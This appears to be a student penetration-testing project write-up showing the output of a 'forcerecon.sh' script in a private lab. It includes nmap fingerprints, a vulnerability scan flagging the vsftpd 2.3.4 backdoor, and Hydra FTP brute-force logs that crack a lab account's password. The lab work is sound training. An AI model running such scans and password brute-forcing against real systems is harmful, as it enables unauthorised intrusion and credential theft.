OS:SCAN(V=7.93%E=4%D=7/30%OT=21%CT=23%CU=38715%PV=Y%DS=1%DC=D%G=Y%M=000C29%
OS:TM=64C61E11%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%
OS:O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Uptime guess: 26.978 days (since Mon Jul  3 16:55:18 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

Full details of nmap run continue

forcerecon.sh

```
# Nmap done at Sun Jul 30 16:23:45 2023 -- 1 IP address (1 host up) scanned in 16.59 seconds

Brute Force report as follows:
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpo
ses (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-30 16:23:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 72 login tries (l:9/p:8), ~5 tries per task
[DATA] attacking ftp://192.168.137.129:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "Warhammer" - 1 of 72 [child 0] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "msfadmin" - 2 of 72 [child 1] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "Wolfhound" - 3 of 72 [child 2] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "password" - 4 of 72 [child 3] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "Summoner" - 5 of 72 [child 4] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "Passw0rd!" - 6 of 72 [child 5] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "Elemental" - 7 of 72 [child 6] (0/0)
[ATTEMPT] target 192.168.137.129 - login "NKerensky" - pass "glock9mm" - 8 of 72 [child 7] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "Warhammer" - 9 of 72 [child 8] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "msfadmin" - 10 of 72 [child 9] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "Wolfhound" - 11 of 72 [child 10] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "password" - 12 of 72 [child 11] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "Summoner" - 13 of 72 [child 12] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "Passw0rd!" - 14 of 72 [child 13] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "Elemental" - 15 of 72 [child 14] (0/0)
[ATTEMPT] target 192.168.137.129 - login "msfadmin" - pass "glock9mm" - 16 of 72 [child 15] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "Warhammer" - 17 of 72 [child 7] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "msfadmin" - 18 of 72 [child 13] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "Wolfhound" - 19 of 72 [child 2] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "password" - 20 of 72 [child 3] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "Summoner" - 21 of 72 [child 5] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "Passw0rd!" - 22 of 72 [child 6] (0/0)
[ATTEMPT] target 192.168.137.129 - login "TMalthus" - pass "Elemental" - 23 of 72 [child 8] (0/0)
```

After nmap details are presented, the full details of the brute force are presented

forcerecon.sh

```
[ATTEMPT] target 192.168.137.129 - login "bob" - pass "Elemental" - 71 of 72 [child 0] (0/0)
[ATTEMPT] target 192.168.137.129 - login "bob" - pass "glock9mm" - 72 of 72 [child 8] (0/0)
[STATUS] attack finished for 192.168.137.129 (waiting for children to complete tests)
[21][ftp] host: 192.168.137.129   login: bob   password: glock9mm
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-30 16:24:02

This concludes the subreport for 192.168.137.129
_____________________________________________________

SUBREPORT for 192.168.137.133
This section will only contain details pertaining to the above host
and may be referenced separately from other subreports and the main report if needed.

Here is a summary of the open ports and services for 192.168.137.133
21/tcp open  ftp     syn-ack ttl 64 vsftpd 2.3.4
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open  telnet  syn-ack ttl 64 Linux telnetd
25/tcp open  smtp    syn-ack ttl 64 Postfix smtpd

Full nmap vulnerability report as follows:
# Nmap 7.93 scan initiated Sun Jul 30 16:24:02 2023 as: nmap -script vuln -sV -vv -p 21-30 -O --open -oN nmapvres.txt 192.168.137.133
Nmap scan report for Tango1 (192.168.137.133)
Host is up, received arp-response (0.00059s latency).
Scanned at 2023-07-30 16:24:13 +08 for 6s
Not shown: 6 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
```

After first host hydra run is completed, subreport for first host is concluded.
Subreport for next host begins.

forcerecon.sh

```
OS details: Linux 2.6.9 - 2.6.33
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/30%OT=21%CT=24%CU=37600%PV=Y%DS=1%DC=D%G=Y%M=000C29%
OS:TM=64C61E34%P=x86_64-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%
OS:TS=7)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O5
OS:=M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=
OS:16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST1
OS:1NW5%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=16
OS:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.001 days (since Sun Jul 30 16:22:29 2023)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 30 16:24:20 2023 -- 1 IP address (1 host up) scanned in 17.61 seconds

Brute Force report as follows:
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpo
ses (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-30 16:24:20
[DATA] max 16 tasks per 1 server, overall 16 tasks, 72 login tries (l:9/p:8), ~5 tries per task
[DATA] attacking ftp://192.168.137.133:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.137.133 - login "NKerensky" - pass "Warhammer" - 1 of 72 [child 0] (0/0)
[ATTEMPT] target 192.168.137.133 - login "NKerensky" - pass "msfadmin" - 2 of 72 [child 1] (0/0)
[ATTEMPT] target 192.168.137.133 - login "NKerensky" - pass "Wolfhound" - 3 of 72 [child 2] (0/0)
```

```
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "Warhammer" - 49 of 72 [child 9] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "msfadmin" - 50 of 72 [child 6] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "Wolfhound" - 51 of 72 [child 5] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "password" - 52 of 72 [child 7] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "Summoner" - 53 of 72 [child 4] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "Passw0rd!" - 54 of 72 [child 12] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "Elemental" - 55 of 72 [child 11] (0/0)
[ATTEMPT] target 192.168.137.133 - login "Joanna" - pass "glock9mm" - 56 of 72 [child 14] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "Warhammer" - 57 of 72 [child 3] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "msfadmin" - 58 of 72 [child 1] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "Wolfhound" - 59 of 72 [child 10] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "password" - 60 of 72 [child 0] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "Summoner" - 61 of 72 [child 2] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "Passw0rd!" - 62 of 72 [child 8] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "Elemental" - 63 of 72 [child 13] (0/0)
[ATTEMPT] target 192.168.137.133 - login "IEUser" - pass "glock9mm" - 64 of 72 [child 15] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "Warhammer" - 65 of 72 [child 9] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "msfadmin" - 66 of 72 [child 6] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "Wolfhound" - 67 of 72 [child 5] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "password" - 68 of 72 [child 7] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "Summoner" - 69 of 72 [child 4] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "Passw0rd!" - 70 of 72 [child 12] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "Elemental" - 71 of 72 [child 11] (0/0)
[ATTEMPT] target 192.168.137.133 - login "bob" - pass "glock9mm" - 72 of 72 [child 14] (0/0)
[STATUS] attack finished for 192.168.137.133 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-07-30 16:24:37

This concludes the subreport for 192.168.137.133
_____________________________________________________

———— <<<|This Concludes the Main Report|>>> ————
```

After the results of the last host are presented and the last subreport concluded, the main report itself is concluded.

forcerecon.sh

```
Assessment Complete
Thank you for your patience
Findings have been consolidated and saved in ./PTrun-2023-07-30-1656
Please press
1)      To view the main report.
        This contains the findings of the entire run, from network scanning to
        the findings of each machine.
2)      To view the details of actions taken against a specific machine.
        This will display the findings of one machine only.
2
Please key in the IP address of the subreport you wish to view
To refresh your memory, the scanned hosts are:
192.168.137.137
192.168.137.137
Directing you to subreport for 192.168.137.137 ...
Press any key to continue ...
SUBREPORT for 192.168.137.137
This section will only contain details pertaining to the above host
and may be referenced separately from other subreports and the main report if needed.

Here is a summary of the open ports and services for 192.168.137.137
23/tcp open  telnet  syn-ack ttl 64 Linux telnetd
25/tcp open  smtp    syn-ack ttl 64 Postfix smtpd

Full nmap vulnerability report as follows:
# Nmap 7.93 scan initiated Sun Jul 30 16:56:14 2023 as: nmap -script vuln -sV -vv -p 21-30 -O --open -oN nmapvres.txt 192.168.137.137
Nmap scan report for 192.168.137.137
Host is up, received arp-response (0.00074s latency).
Scanned at 2023-07-30 16:56:25 +08 for 6s
Not shown: 6 closed tcp ports (reset), 2 filtered tcp ports (no-response)
```

ALTERNATE: Selecting to view only specific host subreport

forcerecon.sh

```
┌──(kali㉿kali)-[~/cfc0202/pt/ptproj/projlvl2]
└─$ ls
forcerecon.sh  pilotauth.lst  PTrun-2023-07-30-1623

┌──(kali㉿kali)-[~/cfc0202/pt/ptproj/projlvl2]
└─$ cd PTrun-2023-07-30-1623

┌──(kali㉿kali)-[~/…/pt/ptproj/projlvl2/PTrun-2023-07-30-1623]
└─$ ls
mainrep-2023-07-30-1623.txt  subrep-192.168.137.129.txt  subrep-192.168.137.133.txt

┌──(kali㉿kali)-[~/…/pt/ptproj/projlvl2/PTrun-2023-07-30-1623]
└─$
```

Temporary files removed.
Results saved in directory with date and time stamp. This way multiple runs can be conducted within the same day without mixing up results.
Main report named using date and time stamp. Subreports named after their respective hosts.

References

- Coloured text in script
  https://stackoverflow.com/questions/5947742/how-to-change-the-output-color-of-echo-in-linux
- Continue by pressing any key
  https://unix.stackexchange.com/questions/293940/how-can-i-make-press-any-key-to-continue
- Ipcalc (at 3.27)
  https://youtu.be/FKVsz_2IWJs
- Using paplay command to play sound files
  https://www.baeldung.com/linux/pc-speaker-beep-in-linux

THANK YOU